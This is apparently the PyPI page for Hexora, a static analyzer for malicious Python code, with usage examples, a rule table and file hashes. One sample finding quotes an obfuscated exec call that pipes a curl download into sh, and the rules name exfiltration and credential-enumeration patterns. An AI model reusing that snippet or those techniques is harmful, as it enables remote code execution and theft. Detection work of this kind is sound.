Skip to main content

hexora

PyPI - Version

Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code. It combines a rule-based static analysis engine with a machine-learned model that scores entire source files to classify them as malicious or benign.

It can be used to:

  • Audit project dependencies to catch potential supply-chain attacks
  • Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
  • Analyze IoC files from past security incidents
  • Audit new packages uploaded to PyPi.
Hexora example

Examples

For output examples, please see docs/examples.md file.

Installation

Using Python

Requires Python 3.9+.

pip install hexora

Using uv:

uv tool install hexora

Usage

hexora --help

Audit single file

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  1  import pyperclip
2 3  data = pyperclip.paste()
          ^^^^^^^^^^^^^^^^^ HX2000
    = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   19  (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20  _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   

Audit directory

hexora audit --output-format terminal resources/test/

Audit packages from virtual environment

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Where python3.11 is the version of the Python in virtual environment.

Tips:

  • Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run
  • Use --min-confidence to focus on high-confidence findings only.

Confidence indicates how a certain piece of code is malicious. Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from malicious ones. That's why some matches have a low confidence level.

Some rules can have different confidence levels. Avoid filtering a lot of rules by codes unless you are very confident. For example, code and shell execution can have medium, high, and very high confidence. This depends on how the code was executed. If we detect an obfuscation attempt, we elevate confidence.

For example, this code will have a high confidence:

globals()["__builtins__"].eval("print(123)")

Usage in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Testing Against Malicious Dataset

When developing new rules, you can use existing malicious datasets such as malicious-software-packages-dataset.

After cloning, point the benchmarking tool to the dataset directory:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

Available rules

New rules are added regularly.

Right now, the following rules are available:

Code Name Description
HX1000 AppEnumeration Suspicious application enumeration.
HX1010 BrowserEnumeration Suspicious browser enumeration (apps, cookies, history, etc.).
HX1020 PathEnumeration Suspicious path enumeration.
HX1030 OSFingerprint Suspicious OS fingerprinting.
HX2000 ClipboardRead Reading from the clipboard.
HX2010 EnvAccess Access to a sensitive environment variable.
HX2020 ScreenshotCapture Capturing screenshots from the display.
HX3000 CodeExec Possible code execution.
HX3010 ShellExec Execution of a shell command.
HX3040 DLLInjection Possible DLL injection.
HX3050 DangerousExec Execution of potentially dangerous command inside a shell command.
HX3060 SuspiciousCall Suspicious function call.
HX4000 ObfuscatedShellExec Execution of possibly obfuscated shell command.
HX4010 ObfuscatedCodeExec Execution of possibly obfuscated code.
HX5000 DunderImport Suspicious use of __import__.
HX5010 SuspiciousImport Suspicious import.
HX5020 CtypesImport Suspicious ctypes import.
HX5030 PickleImport Suspicious pickle import.
HX5040 StructImport Suspicious struct import.
HX5050 SocketImport Suspicious socket import.
HX5060 MarshalImport Suspicious marshal import.
HX6000 Base64String Long Base64-encoded string detected; possible code obfuscation.
HX6010 HexedLiterals List of hex-encoded literals detected; possible payload.
HX6020 HexedString Long hex-encoded string detected; possible payload.
HX6030 IntLiterals Large list of integer literals detected; possible code obfuscation.
HX6040 CVEInLiteral Literal contains a CVE identifier.
HX6050 SuspiciousLiteral Suspicious literal detected; possible data enumeration.
HX6060 PathTraversal Suspicious path traversal.
HX6070 BrowserExtension Enumeration of sensitive browser extensions.
HX6080 WebHook Suspicious webhook detected. Possible data exfiltration.
HX6090 TelegramToken Telegram bot token detected in string literal.
HX7000 SuspiciousFunctionName Suspicious function name.
HX7010 SuspiciousParameterName Suspicious parameter name.
HX7020 SuspiciousVariable Suspicious variable name.
HX9000 DataExfiltration Potential data exfiltration.
HX8000 BinaryDownload Suspicious binary download.
HX8010 BuiltinsVariable Suspicious builtin variable usage.
HX8020 SuspiciousComment Suspicious comment.
HX8030 SuspiciousWrite Suspicious write to the filesystem.
HX8040 InstallHook Suspicious install hook setup.

Credits

For parsing, we use AST parser from ruff library.

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hexora-0.3.1.tar.gz (6.3 kB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

hexora-0.3.1-cp314-cp314-win_amd64.whl (3.1 MB view details)

Uploaded CPython 3.14Windows x86-64

hexora-0.3.1-cp314-cp314-musllinux_1_2_x86_64.whl (3.3 MB view details)

Uploaded CPython 3.14musllinux: musl 1.2+ x86-64

hexora-0.3.1-cp314-cp314-manylinux_2_28_x86_64.whl (3.2 MB view details)

Uploaded CPython 3.14manylinux: glibc 2.28+ x86-64

hexora-0.3.1-cp314-cp314-manylinux_2_28_aarch64.whl (3.1 MB view details)

Uploaded CPython 3.14manylinux: glibc 2.28+ ARM64

hexora-0.3.1-cp314-cp314-macosx_11_0_arm64.whl (2.9 MB view details)

Uploaded CPython 3.14macOS 11.0+ ARM64

hexora-0.3.1-cp314-cp314-macosx_10_15_x86_64.whl (3.0 MB view details)

Uploaded CPython 3.14macOS 10.15+ x86-64

hexora-0.3.1-cp313-cp313-win_amd64.whl (2.9 MB view details)

Uploaded CPython 3.13Windows x86-64

hexora-0.3.1-cp313-cp313-musllinux_1_2_x86_64.whl (3.3 MB view details)

Uploaded CPython 3.13musllinux: musl 1.2+ x86-64

hexora-0.3.1-cp313-cp313-manylinux_2_28_x86_64.whl (3.2 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ x86-64

hexora-0.3.1-cp313-cp313-manylinux_2_28_aarch64.whl (3.1 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ ARM64

hexora-0.3.1-cp313-cp313-macosx_11_0_arm64.whl (2.9 MB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

hexora-0.3.1-cp313-cp313-macosx_10_13_x86_64.whl (3.0 MB view details)

Uploaded CPython 3.13macOS 10.13+ x86-64

hexora-0.3.1-cp312-cp312-win_amd64.whl (2.9 MB view details)

Uploaded CPython 3.12Windows x86-64

hexora-0.3.1-cp312-cp312-musllinux_1_2_x86_64.whl (3.3 MB view details)

Uploaded CPython 3.12musllinux: musl 1.2+ x86-64

hexora-0.3.1-cp312-cp312-manylinux_2_28_x86_64.whl (3.2 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ x86-64

hexora-0.3.1-cp312-cp312-manylinux_2_28_aarch64.whl (3.1 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ ARM64

hexora-0.3.1-cp312-cp312-macosx_11_0_arm64.whl (2.9 MB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

hexora-0.3.1-cp312-cp312-macosx_10_13_x86_64.whl (3.0 MB view details)

Uploaded CPython 3.12macOS 10.13+ x86-64

hexora-0.3.1-cp311-cp311-win_amd64.whl (2.9 MB view details)

Uploaded CPython 3.11Windows x86-64

hexora-0.3.1-cp311-cp311-musllinux_1_2_x86_64.whl (3.3 MB view details)

Uploaded CPython 3.11musllinux: musl 1.2+ x86-64

hexora-0.3.1-cp311-cp311-manylinux_2_28_x86_64.whl (3.2 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ x86-64

hexora-0.3.1-cp311-cp311-manylinux_2_28_aarch64.whl (3.1 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ ARM64

hexora-0.3.1-cp311-cp311-macosx_11_0_arm64.whl (2.9 MB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

hexora-0.3.1-cp311-cp311-macosx_10_12_x86_64.whl (3.0 MB view details)

Uploaded CPython 3.11macOS 10.12+ x86-64

hexora-0.3.1-cp310-cp310-win_amd64.whl (2.9 MB view details)

Uploaded CPython 3.10Windows x86-64

hexora-0.3.1-cp310-cp310-musllinux_1_2_x86_64.whl (3.3 MB view details)

Uploaded CPython 3.10musllinux: musl 1.2+ x86-64

hexora-0.3.1-cp310-cp310-manylinux_2_28_x86_64.whl (3.2 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ x86-64

hexora-0.3.1-cp310-cp310-manylinux_2_28_aarch64.whl (3.1 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ ARM64

hexora-0.3.1-cp310-cp310-macosx_11_0_arm64.whl (2.9 MB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

hexora-0.3.1-cp310-cp310-macosx_10_12_x86_64.whl (3.0 MB view details)

Uploaded CPython 3.10macOS 10.12+ x86-64

hexora-0.3.1-cp39-cp39-win_amd64.whl (2.9 MB view details)

Uploaded CPython 3.9Windows x86-64

hexora-0.3.1-cp39-cp39-musllinux_1_2_x86_64.whl (3.3 MB view details)

Uploaded CPython 3.9musllinux: musl 1.2+ x86-64

hexora-0.3.1-cp39-cp39-manylinux_2_28_x86_64.whl (3.2 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ x86-64

hexora-0.3.1-cp39-cp39-manylinux_2_28_aarch64.whl (3.1 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ ARM64

hexora-0.3.1-cp39-cp39-macosx_11_0_arm64.whl (2.9 MB view details)

Uploaded CPython 3.9macOS 11.0+ ARM64

hexora-0.3.1-cp39-cp39-macosx_10_12_x86_64.whl (3.0 MB view details)

Uploaded CPython 3.9macOS 10.12+ x86-64

File details

Details for the file hexora-0.3.1.tar.gz.

File metadata

  • Download URL: hexora-0.3.1.tar.gz
  • Upload date:
  • Size: 6.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.13.14

File hashes

Hashes for hexora-0.3.1.tar.gz
Algorithm Hash digest
SHA256 cbcb6f82b53752021d75a77b0626937341c63c1969291d46cae33e9901e0fa5b
MD5 8914e68cacd6f207c0b3bba034f8d4b3
BLAKE2b-256 d89b5ec894009483709c3c5ac2966f1d29e0aa7dd5f05c6ea441f2973cee96a1

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp314-cp314-win_amd64.whl.

File metadata

  • Download URL: hexora-0.3.1-cp314-cp314-win_amd64.whl
  • Upload date:
  • Size: 3.1 MB
  • Tags: CPython 3.14, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.13.14

File hashes

Hashes for hexora-0.3.1-cp314-cp314-win_amd64.whl
Algorithm Hash digest
SHA256 719607e035c869813825ae7f20dac75024417c1fc9984ad8f1a690c1098cd1ff
MD5 344c2ed549780127cdb9e4706e7d1cc9
BLAKE2b-256 aa85f68c27a4af71a205683cf735956c4f921960b0c0ea1459925f45ab69f743

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp314-cp314-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp314-cp314-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 3d2326f2032978cd3bfdf5615db2afe284ec45d7b8b444217c04e920f112acb7
MD5 d2736b97ae1d6fba59ff68728989209e
BLAKE2b-256 9b3cbb9e8a134ad8b9f522110c822fbf795f2b91db4a946486fe92155a5ed74d

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp314-cp314-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp314-cp314-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 1a91154c1cf18af6a5bfb20f78ed38fb50e721bd64fbc26f6f969e5cd727a997
MD5 93348d345fa5dd1a25f43e0f492f5733
BLAKE2b-256 c1428c690fdb6f2f7f456ba735c8afc4a7dfc12dd6e2a470a7bc56e6a7965d3d

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp314-cp314-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp314-cp314-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 08159ff3faf1580a06dd3ac383a6b57d9fdd818afdcf16bdbd19ba24cc5584af
MD5 8c78cb9c40882a3dac977635ccd2afe3
BLAKE2b-256 773de65a18ffdf733665668bde496acc40b6ddb04b3827dd266f27b830561269

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp314-cp314-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp314-cp314-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 f354eb1b89f4118141bda528dba92ca0f6af827612f00ccabe260625f67c15b2
MD5 5739e9c2dc67849e8e5e53ce9082d780
BLAKE2b-256 7bc69e65054e4789ee555eae87a3ed592d118e4bf0b5cf89927acce5bd1a9649

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp314-cp314-macosx_10_15_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp314-cp314-macosx_10_15_x86_64.whl
Algorithm Hash digest
SHA256 aa14c3c2d1206eaad49465df6854186ee41328428ec48e1cef032ce2668a811e
MD5 fbcfd6da10afe718d9ac95ae7fa3122b
BLAKE2b-256 dd34a152a05b69b2cba5543a48facca04f9c907501aca8f3a8ad35cf553734ee

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp313-cp313-win_amd64.whl.

File metadata

  • Download URL: hexora-0.3.1-cp313-cp313-win_amd64.whl
  • Upload date:
  • Size: 2.9 MB
  • Tags: CPython 3.13, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.13.14

File hashes

Hashes for hexora-0.3.1-cp313-cp313-win_amd64.whl
Algorithm Hash digest
SHA256 354a7aed98b617c83813c90b8c6ce53fe94a0d26a1586b7f7167e2c112079f0d
MD5 9a2111e6ff8b12a7647aebd7a8540557
BLAKE2b-256 5abdd4dd67beb4281ba4771913e56c1e0fac96898f18a4cfd790bbb5ff52f705

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp313-cp313-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp313-cp313-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 c9767feada139361bc828136a7cc013fb80a35059c2d39f41d42f76b321a4632
MD5 6d74cb1d5a90c7909d256dc5832bb53d
BLAKE2b-256 561c251d6c2d241a12829f6069a7f65313c3164495723cf2cbcf0f5a5b8b9dd2

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp313-cp313-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp313-cp313-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 49aa797391fb9b4eae099d2182c1a02289f70c34eddbaa6b36c24ab3cbfafee9
MD5 70744743dd78d2a17210ee6b32b4d90f
BLAKE2b-256 ad388c2ee3ad62b4f0835b5eb6a7f24391e519e5cb9c98cca6835c874a40ac5b

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp313-cp313-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp313-cp313-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 35c685b49543ef3b246c9b38b585af6719c4f0d3b6aead5e9533790736a431a9
MD5 732eb2ffe02046648a32666e5dfa6819
BLAKE2b-256 9b3cca60a5d21f736664c104ee5eafd9ba3be3fde2cdd0471052b12f7e515290

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 6f8b6c200a3a1e279ce93bc5228d6cc281602f4dab8918bb01e982b51a5d559e
MD5 d3efa9468196bc17626e7861ec3d861e
BLAKE2b-256 9969457a4fceee0c4d64541769cce37b5a567d78861e30589594f6e9d820c570

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp313-cp313-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp313-cp313-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 e2dc413e2e4caa643c314c7d5c4ff5c730d1eacf692558ee483aa8ee2f7070a8
MD5 9ea784966861604b405a6d2d2758e529
BLAKE2b-256 54072b5ced9ac4d2c4c80971e4067eb32b6e7e71455ac81ba53ae77bd9fc6442

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp312-cp312-win_amd64.whl.

File metadata

  • Download URL: hexora-0.3.1-cp312-cp312-win_amd64.whl
  • Upload date:
  • Size: 2.9 MB
  • Tags: CPython 3.12, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.13.14

File hashes

Hashes for hexora-0.3.1-cp312-cp312-win_amd64.whl
Algorithm Hash digest
SHA256 df017fd13960e34c01991bc7f649379a648d6ed2b0dd580635765c9c280bad59
MD5 002abe37b840a121bdeac1c6de302ede
BLAKE2b-256 1986542d366bef8dea943c187c2da52ee00de397fad73a78dcf5791c8ed39a5a

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp312-cp312-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp312-cp312-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 ae2d72679ba12d82ed44f736cabd8a8ca158bdefd2e77e43f848f3423789ac0d
MD5 1f289440cc2d28ecf15ac0113891ebb3
BLAKE2b-256 f11daf3cd08190ddc0fa0cde9b33f6d6ec8ee3af16a8834386787a0b7b2c118c

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp312-cp312-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp312-cp312-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 3f8df5db1b1dcb5b6eff3ea6350006feb3625a14c30aa02f2749d367cff8f78b
MD5 eec820026832d5623653ced2c7854da4
BLAKE2b-256 652da12371fe87eaf1fb92cd3193ff85795ad05f0fa95941b169496730a55d94

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp312-cp312-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp312-cp312-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 12b78513b20cf7b4d5f9f8bda6d55a0a27de091f7a7e7a47d1577a20d12225cb
MD5 f4fc37eee565e96938013787cb37a752
BLAKE2b-256 5a59d9abdb17fc1f7bc98f05f0f3de12261baf6efdeeaaa83b88de68a413a1d7

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 8e0c4d99265f0c4fa582314caac663e45cabd6602f8268a0c3453fbfd00e67b5
MD5 80f9534c6509869a1cb0cdddc1ca10c3
BLAKE2b-256 db743ca8e00db4bceadd601196c86033c79c53da5eed6cff841e4a9131c15609

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp312-cp312-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp312-cp312-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 8bcf8f5e3be7cba5ad2c34d88153e3e30589264cf7f4e80678ff4453d2b6a563
MD5 c2f99d85b7ad1dc078a19220d51c6cfa
BLAKE2b-256 72eab54fd55b7e8bebf9771b7bd87372bd09a56eaba6192db5fc3a89eb209986

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp311-cp311-win_amd64.whl.

File metadata

  • Download URL: hexora-0.3.1-cp311-cp311-win_amd64.whl
  • Upload date:
  • Size: 2.9 MB
  • Tags: CPython 3.11, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.13.14

File hashes

Hashes for hexora-0.3.1-cp311-cp311-win_amd64.whl
Algorithm Hash digest
SHA256 705ae64b27ab877caba3820b8ad2b4e5444f4443c9955e43a45fd351edd627ad
MD5 aa06c8a5ee64835b525237af3f382cad
BLAKE2b-256 9b75117924ec3f9207aaf1353fb84d34e3a239c3593c2722f1812baca795a4db

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp311-cp311-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp311-cp311-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 5d36d05e1580d97decd1560525726190089de23e30d23ca2f904d8c0fa623aa5
MD5 9d83e4a775ced674bc1d6247ea424344
BLAKE2b-256 0ed4b05f6ea407035230c0b235432e83d3289aef61078c7dd02077af01970345

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp311-cp311-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp311-cp311-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 ea7807586cc43ea3f8acaa1baa0dced21e52420d1737f67d8bcb59f65969f07a
MD5 d396bf103b3ac1fe30239df709172d32
BLAKE2b-256 e6a6927fe0f4b233f9e8df17b1b3e99815dd4d7022b8691ad8d4d95dcd0197f4

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp311-cp311-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp311-cp311-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 b351ee74168a4ef90142efdf786e8e94ad7ec2bf5c0636b2f496689e349b9875
MD5 3d0383dcef26baace8519c0d900920cd
BLAKE2b-256 66d388b48b037d35d39e433f9220ad2721aefdf5d96c7bad882478ee1d4b6d85

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 892238297d6322aa46e3fdfc21f297546c8d111bf0b8d00475a6334d039262fc
MD5 1a81b1e2042e94d6fff07bb6449f4df7
BLAKE2b-256 c2358ccdfed77885bac465970fecbe28c77bdd2dffdbeb8ae256f14cb38d609f

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp311-cp311-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp311-cp311-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 001b757c607d3299a68eb6816b99a0ef9288c3c57e7f9005e0da027b8d7a7014
MD5 b1ccad51b3257abeca2c01fb8ca7b5c6
BLAKE2b-256 53cde80e06b3dfb7775e85ab66e298b76c0755dded72ef2faa6900049217cf4b

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp310-cp310-win_amd64.whl.

File metadata

  • Download URL: hexora-0.3.1-cp310-cp310-win_amd64.whl
  • Upload date:
  • Size: 2.9 MB
  • Tags: CPython 3.10, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.13.14

File hashes

Hashes for hexora-0.3.1-cp310-cp310-win_amd64.whl
Algorithm Hash digest
SHA256 ec3907b959cfbe8f87a2c946856687137c3f56d148e2df8a320be056fe466f94
MD5 c4787972e0a34c3408a967e41d2d7d51
BLAKE2b-256 b9a67c4479afbdc3d0964859ba5f7bf483e68d717907c8d0b4cfee12f364f955

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp310-cp310-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp310-cp310-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 3ebdd74f6a3d56c942034d2c3366ecb554f4f634cb9b23110ade2459a3b6e4f7
MD5 5d640ad2f9101aefcd8afef79eedc027
BLAKE2b-256 9b0f636db6fd4bca40c233f9e5dc6c949c8db773d8b5b9b8e5e106a613b06473

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp310-cp310-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp310-cp310-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 f2e4b8fecb3ab96b0215429f7fe1d21f0cb66d8c0fe710725dc7ad1defc5b756
MD5 f3997521cde04aa7ee3b4a0677af4b46
BLAKE2b-256 cfe2b27937f6a6e541edf6007a403971fb2758c0851d65d50c8f93be8193eea3

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp310-cp310-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp310-cp310-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 de3ffb261f8798ff0fb4852dae6016f58fd577e163922756b2822a27084ee5bc
MD5 a7912f98743461b103a531c0215104ec
BLAKE2b-256 f0b5b3fb43354eeb652a1493a9b05e9555f918816fefd3b1d2587a290875bd67

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 6364c65e145616b8b4e20b9e8aac88105974019b2621695e036bc8d7b94bb1ac
MD5 b0bbc66d41558d014d91447e32c2b6e9
BLAKE2b-256 f64f76a56ac10829dce5457c2cd189a6898c111b5170ece0fa6fdee6c09f986b

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp310-cp310-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp310-cp310-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 b5e9871f754abf1fff17b52e131eb0bfc8e266c31eb1e435ba6d819c7641e7fb
MD5 f42dbb37c28601b6eddae31320307edf
BLAKE2b-256 6a1c798f0308e0a9a7596e7e6fbcc33a149c7a6d86f926e1b00ebb8c2829db6a

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp39-cp39-win_amd64.whl.

File metadata

  • Download URL: hexora-0.3.1-cp39-cp39-win_amd64.whl
  • Upload date:
  • Size: 2.9 MB
  • Tags: CPython 3.9, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.13.14

File hashes

Hashes for hexora-0.3.1-cp39-cp39-win_amd64.whl
Algorithm Hash digest
SHA256 aa06757ff6506a4169ef02be398e68653085ff9428c76ad2a1338596db61b14d
MD5 20217a9c2eee48267dd7a4e5dcd2ae1d
BLAKE2b-256 fc73d9d5e82bb151d060a5821d25ca7ee552cfb34987c60e279c37a894d3dfc9

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp39-cp39-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp39-cp39-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 76d572396d4660c44396e3319bae8600e97219b9783d77f026b2ba92df8d52f7
MD5 53df13a0f3d6c7480b7d65c610358f95
BLAKE2b-256 c2cbe92dc5b68b383b2e8bf4bd5bcc200ce9f92c28e9646285684fd2a720a5b3

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp39-cp39-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp39-cp39-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 1f3869e0795dd3cdaf17d445183283505498e7600fb8fbb38ab55981484e4192
MD5 c1716358536d80e77243556c2f44e3c6
BLAKE2b-256 0d7a9d5d215778ebe01931cdd28f4f4174c65a7a53e8a6f652d4a61f987e1c33

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp39-cp39-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp39-cp39-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 4f3178b68682a528dff4058c8a2adb0c507d6c628cdb852c29124de8de84a8ca
MD5 faf6f3006da5f13e76c458a127514014
BLAKE2b-256 e40956ed8a86cff05e12b88a91d554e82e189eccfa3d92e0cfd600e57df117ab

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp39-cp39-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp39-cp39-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 130425dd7ebd440eb2be8554f4c0b39bd2682c690e434b4ff837e127686606e3
MD5 4e825b1ce13d80df48c6619f6f5b9121
BLAKE2b-256 4b0c3b1a3edcafb8c0f751cf98ebb249fdfbe019034a0662874d31ccc8087e50

See more details on using hashes here.

File details

Details for the file hexora-0.3.1-cp39-cp39-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.1-cp39-cp39-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 2263956c3a0d4c505b3096e323ce9eab3e28043e87da8f2ee94279529ff00d73
MD5 d23d43c627dd4abe903b1fa905a21df8
BLAKE2b-256 5e1ec10cb9b006fd2301c9384aa4b4e07a457be8922ad7e02fd457fab2d8bb87

See more details on using hashes here.

Supported by

